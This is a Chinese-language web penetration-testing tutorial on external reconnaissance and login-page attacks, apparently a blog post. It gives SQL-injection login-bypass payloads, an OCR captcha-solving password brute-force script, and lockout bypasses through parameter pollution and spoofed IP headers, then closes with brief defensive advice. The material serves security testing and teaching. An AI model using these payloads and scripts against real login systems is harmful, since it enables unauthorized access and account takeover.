第一部分:外网打点篇——边界突破

第一章:Web 应用层渗透

1.1 信息收集与指纹识别

目标:精准定位脆弱入口,避免无效攻击。

1.1.1 资产测绘实战

不要只盯着主域名,重点在"旁站"和"关联资产"。

  • FOFA/Hunter 语法

    • title="后台登录":寻找管理入口。

    • body="index of" && country="CN":寻找目录遍历泄露。

    • cert="Target Inc":通过 SSL 证书查找关联 IP。

    • banner="Apache/2.4.49":直接匹配存在漏洞的中间件版本。

1.1.2 JS 敏感信息提取

现代 Web 前端高度依赖 JS,常泄露 API 接口。

  • 工具jsfinder, LinkFinder

  • 实战命令

    bash 复制代码
    python3 jsFinder.py -u https://target.com -output urls.txt
    grep "api" urls.txt | grep "admin"  # 筛选疑似管理后台的 API
  • 关键发现/api/v1/user/info, /api/v1/admin/login。这些接口通常缺乏 CSRF 保护,且认证逻辑较弱。


1.2 认证逻辑缺陷利用

核心:利用开发人员对流程设计的疏漏,而非代码漏洞。

1.2.1 状态码与返回包篡改

场景:前端仅根据响应包判断结果。

  • 测试方法

    1. 使用 Burp Suite 拦截登录响应。

    2. HTTP/1.1 401 Unauthorized改为 HTTP/1.1 200 OK

    3. 修改 Body:{"code":401, "msg":"fail"}-> {"code":0, "msg":"success"}

  • 结果:前端接收 200 状态码,误以为登录成功,直接跳转至后台。

1.2.2 万能密码(SQL 注入变体)

场景:老旧系统或未使用参数化查询的系统。

  • Payload

    sql 复制代码
    admin' --
    admin' #
    ' OR '1'='1' --
    ') OR ('1'='1' --
  • 原理 :注释符 --#闭合了密码校验部分的 SQL 语句,使验证逻辑恒真。


1.3 验证码对抗策略

核心:验证码的目的是限制自动化,只要打破限制,爆破即可继续。

绕过类型 测试方法 工具/代码
前端校验 查看页面源码,验证码答案直接写在 JS 变量中。 浏览器开发者工具。
验证码复用 刷新登录页面,验证码不变。 Burp Repeater 重放。
为空绕过 删除 code参数。 code=或 删除该字段。
4位纯数字 穷举 0000-9999。 Burp Intruder (Numbers payload)。
OCR 识别 验证码干扰线弱。 ddddocr​ (Python库)。

实战脚本(OCR 爆破)

python 复制代码
import ddddocr, requests

ocr = ddddocr.DdddOcr()
session = requests.Session()

for pwd in open('pass.txt'):
    img = session.get('http://target/captcha.php').content
    code = ocr.classification(img)
    data = {'user':'admin', 'pass':pwd.strip(), 'code':code}
    res = session.post('http://target/login.php', data=data)
    if '欢迎' in res.text:
        print(f'Success: admin/{pwd}')
        break

1.4 账户锁定机制绕过

痛点:输错 5 次密码账户锁定 30 分钟。

1.4.1 参数污染 (HPP)

原理:后端解析参数时,只取第一个或最后一个值。

  • Payloadusername=admin&username=wrong_user&password=123456

  • 效果 :系统锁定 wrong_user,但 admin账户依然可用,继续尝试下一个密码。

1.4.2 空格绕过

原理:数据库对尾随空格不敏感,但认证系统将其视为新用户。

  • Payloaduser=admin(后面带空格)。

  • 效果:绕过"admin"账户的锁定计数器。

1.4.3 IP 轮换

原理:基于 IP 的锁定策略。

  • Header 注入

    复制代码
    X-Forwarded-For: 1.1.1.1
    X-Real-IP: 2.2.2.2
  • 操作:每次爆破请求更换 IP Header。


1.5 防御视角(给客户)

  1. 统一错误提示:无论用户名是否存在,统一返回"用户名或密码错误",禁止区分提示。

  2. 验证码安全

    • 验证码必须一次性有效(用完即焚)。

    • 增加行为验证码(滑动、点选),防止 OCR 识别。

  3. 锁定策略 :连续 5 次失败后,增加二次验证(短信/邮箱),而非单纯锁定账户。

相关推荐
treesforest1 小时前
IP地理位置精准查询:从城市级到街道级的定位技术深度解析
大数据·网络·网络协议·tcp/ip·安全·网络安全·ip
DarrenHChen_EDA1 小时前
【汽车芯片功能安全分析与故障注入实践 05】Architectural、RTL、Netlist 三个阶段的安全分析差异
安全·汽车·功能安全·rtl·architecture·汽车芯片·netlist
万法若空2 小时前
Nmap 完全使用指南:从入门到精通
安全·web安全
晓梦林3 小时前
Loooower靶场学习笔记
笔记·学习·安全·web安全
txg6663 小时前
网络安全领域简报(2026年5月1日~5月8日)
网络·安全·web安全
Bruce_Liuxiaowei5 小时前
从霍尔木兹到信息空间:现代冲突中的媒体行业安全新命题
人工智能·安全·系统安全·媒体
techdashen5 小时前
4 个字节拿到 root 权限:Linux 内核漏洞“Copy Fail“与 Cloudflare 的应急处置全记录
linux·网络·安全
wanhengidc5 小时前
算力服务器的优势都有哪些?
大数据·运维·服务器·网络·人工智能·安全·智能手机
S1998_1997111609•X5 小时前
超导致䗃系统固件损坏关闭进程函数洪水泛滥污染孪生镜像描述的逻辑串码缓存鸡dark and -blue 仺盀
安全·百度·缓存·哈希算法·量子计算